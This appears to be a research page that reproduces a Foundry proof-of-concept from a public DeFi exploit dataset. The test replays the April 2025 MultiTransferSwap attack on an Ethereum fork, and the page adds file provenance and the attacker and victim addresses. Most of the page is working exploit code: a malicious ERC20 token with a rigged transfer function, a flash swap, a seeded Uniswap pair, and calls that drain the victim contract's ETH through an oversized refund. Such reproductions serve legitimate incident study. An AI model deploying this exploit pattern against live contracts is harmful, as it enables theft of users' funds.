Public reproduction file
src/test/2025-04/multitransferswap_exp.sol
Public reproduction file for dataset entry multitransferswap.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 0.34 ETH8// Attacker : 0x7c982E93d6B1eDE9626A84EbeafBC42e5991Dee89// Attack Contract : 0x9Fb0a31799FA1243FB53dbCC57Fd531e1375343710// Vulnerable Contract : 0x6518905b5917614383E09bF9E94083f8f679aCd111// Attack Tx : https://etherscan.io/tx/0xbb82787a24d9b8d1047bbc12fe5d4b8d4ad3fc3e32e997985043ec3ef6d7dffe12//13// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0x6518905b5917614383E09bF9E94083f8f679aCd1#code15//16// @Analysis17// Twitter Guy : https://t.me/defimon_alerts/92918//19// Attack summary: The attacker used malicious ERC20 helper tokens and fresh Uniswap V2 pairs to make20// MultiTransferSwap's final exact-output input amount tiny, then collected an over-sized ETH refund.21// Root cause: multiSwapETHForExactTokens refunds from msg.value using only the final loop's amounts[0]22// instead of accumulating total ETH spent across all iterations.24address constant ATTACKER = 0x7c982E93d6B1eDE9626A84EbeafBC42e5991Dee8;25address constant ROOT_ATTACK_CONTRACT = 0x90E69141Bb7b3505478Fb32b36F26009557507aF;26address constant FIRST_ATTACK_HELPER = 0x9Fb0a31799FA1243FB53dbCC57Fd531e13753437;27address constant VICTIM = 0x6518905b5917614383E09bF9E94083f8f679aCd1;28address constant WETH_TOKEN = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;29address constant UNISWAP_V2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;30address constant UNISWAP_V2_FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;31address constant LINK_WETH_PAIR = 0xa2107FA5B38d9bbd2C461D6EDf11B11A50F6b974;33interface IMultiTransferSwap {34 function multiSwapETHForExactTokens(35 uint256 times,36 uint256 amountOut,37 address[] calldata path,38 address to39 ) external payable returns (uint256[] memory amounts);40}42contract ContractTest is BaseTestWithBalanceLog {43 receive() external payable {}45 function setUp() public {46 uint256 forkBlock = 22_361_153;47 vm.createSelectFork("mainnet", forkBlock);49 fundingToken = address(0);50 attacker = address(this);52 vm.label(ATTACKER, "Attacker EOA");53 vm.label(ROOT_ATTACK_CONTRACT, "Root Attack Contract");54 vm.label(FIRST_ATTACK_HELPER, "First Attack Helper");55 vm.label(VICTIM, "MultiTransferSwap");56 vm.label(WETH_TOKEN, "WETH");57 vm.label(UNISWAP_V2_ROUTER, "Uniswap V2 Router");58 vm.label(UNISWAP_V2_FACTORY, "Uniswap V2 Factory");59 vm.label(LINK_WETH_PAIR, "LINK/WETH Pair");60 }62 function testExploit() public balanceLog {63 uint256 victimBefore = VICTIM.balance;64 assertEq(victimBefore, 344_297_259_391_960_230);66 // step 1: repeat the constructor-created helper pattern seen in the trace.67 for (uint256 i; i < 6; ++i) {68 MaliciousSwapToken token = new MaliciousSwapToken(address(this));69 token.attack();70 }72 // step 2: prove the victim's pre-existing ETH was drained and forwarded as attacker profit.73 uint256 victimAfter = VICTIM.balance;74 uint256 profit = address(this).balance;76 assertLt(victimAfter, 6_000_000_000_000_000);77 assertGt(victimBefore - victimAfter, 0.33 ether);78 assertGt(profit, 0.33 ether);79 }80}82contract MaliciousSwapToken {83 string public constant name = "Malicious Swap Token";84 string public constant symbol = "MST";85 uint8 public constant decimals = 18;86 uint256 public totalSupply = type(uint128).max;88 mapping(address => uint256) private balances;89 mapping(address => mapping(address => uint256)) public allowance;91 address private immutable profitReceiver;92 address private attackPair;94 receive() external payable {}96 constructor(97 address _profitReceiver98 ) {99 profitReceiver = _profitReceiver;100 }102 function attack() external {103 uint256 victimBalance = VICTIM.balance;104 uint256 flashAmount = victimBalance + 0.01 ether + 139_256;106 IUniswapV2Pair(LINK_WETH_PAIR).swap(0, flashAmount, address(this), bytes("flash"));107 }109 function uniswapV2Call(110 address,111 uint256,112 uint256 amount1,113 bytes calldata114 ) external {115 require(msg.sender == LINK_WETH_PAIR, "unexpected flash pair");117 uint256 amountOut = VICTIM.balance / 2 - 10_000;118 uint256 seedEth = 20_000;119 uint256 tokenSeed = amountOut + seedEth;121 // step 1: seed a fresh WETH/token pair with a tiny amount of WETH and attacker-reported token balance.122 IWETH(payable(WETH_TOKEN)).withdraw(amount1);123 balances[address(this)] = tokenSeed;124 IUniswapV2Router(payable(UNISWAP_V2_ROUTER)).addLiquidityETH{value: seedEth}(125 address(this), tokenSeed, 1, 1, address(this), block.timestamp126 );127 attackPair = IUniswapV2Factory(UNISWAP_V2_FACTORY).getPair(WETH_TOKEN, address(this));129 // step 2: make the victim buy exact helper tokens twice, then receive the oversized refund.130 address[] memory path = new address[](2);131 path[0] = WETH_TOKEN;132 path[1] = address(this);133 IMultiTransferSwap(VICTIM).multiSwapETHForExactTokens{value: address(this).balance}(2, amountOut, path, VICTIM);135 // step 3: remove victim-paid liquidity, repay the flash swap, and forward ETH profit.136 uint256 lpBalance = IUniswapV2Pair(attackPair).balanceOf(address(this));137 IUniswapV2Pair(attackPair).approve(UNISWAP_V2_ROUTER, lpBalance);138 IUniswapV2Router(payable(UNISWAP_V2_ROUTER))139 .removeLiquidity(WETH_TOKEN, address(this), lpBalance, 1, 1, address(this), block.timestamp);141 IWETH(payable(WETH_TOKEN)).deposit{value: address(this).balance}();142 uint256 repayAmount = amount1 + amount1 / 250;143 IERC20(WETH_TOKEN).transfer(LINK_WETH_PAIR, repayAmount);145 uint256 wethProfit = IERC20(WETH_TOKEN).balanceOf(address(this));146 IWETH(payable(WETH_TOKEN)).withdraw(wethProfit);148 (bool ok,) = profitReceiver.call{value: address(this).balance}("");149 require(ok, "profit transfer failed");150 }152 function balanceOf(153 address account154 ) external view returns (uint256) {155 return balances[account];156 }158 function approve(159 address spender,160 uint256 value161 ) external returns (bool) {162 allowance[msg.sender][spender] = value;163 return true;164 }166 function transfer(167 address to,168 uint256 value169 ) external returns (bool) {170 balances[msg.sender] -= value;171 balances[to] += value;173 if (msg.sender == attackPair) {174 balances[attackPair] = 10_000_000_000_000_000_000_000_000_000_000;175 }177 return true;178 }180 function transferFrom(181 address from,182 address to,183 uint256 value184 ) external returns (bool) {185 balances[from] -= value;186 balances[to] += value;187 return true;188 }189}Analysis
Dataset entry
Public Foundry test for “multitransferswap” (2025-04-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-04/AIRWA_exp.solSame month in the dataset · 105 lines
- src/test/2025-04/AmpKashi_exp.solSame month in the dataset · 267 lines
- src/test/2025-04/AventaRewardClaim_exp.solSame month in the dataset · 136 lines
- src/test/2025-04/bitdog_exp.solSame month in the dataset · 161 lines
- src/test/2025-04/BTNFT_exp.solSame month in the dataset · 77 lines
- src/test/2025-04/flylong_exp.solSame month in the dataset · 135 lines
- src/test/2025-04/ImpermaxV3_exp.solSame month in the dataset · 259 lines
- src/test/2025-04/Laundromat_exp.solSame month in the dataset · 101 lines
- src/test/2025-04/Lifeprotocol_exp.solSame month in the dataset · 71 lines
- src/test/2025-04/Roar_exp.solSame month in the dataset · 84 lines
- src/test/2025-04/tcdp_exp.solSame month in the dataset · 148 lines
- src/test/2025-04/Unverified_6077_exp.solSame month in the dataset · 99 lines
- src/test/2025-04/YBToken_exp.solSame month in the dataset · 132 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x7c982e93d6b1ede9626a84ebeafbc42e5991dee8
- Attack Contract
0x9fb0a31799fa1243fb53dbcc57fd531e13753437
- Vulnerable Contract
0x6518905b5917614383e09bf9e94083f8f679acd1
- Attack Tx
0xbb82787a24d9b8d1047bbc12fe5d4b8d4ad3fc3e32e997985043ec3ef6d7dffe
File record
- Name
- multitransferswap
- Path
- src/test/2025-04/multitransferswap_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- d5c85845ee01e595934c3dc5dd8f2dc3ac194e21
- Language
- Solidity
- Size
- 190 lines
- Date
- 2025-04-27
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-04/multitransferswap_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d5c85845ee01e595934c3dc5dd8f2dc3ac194e21, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.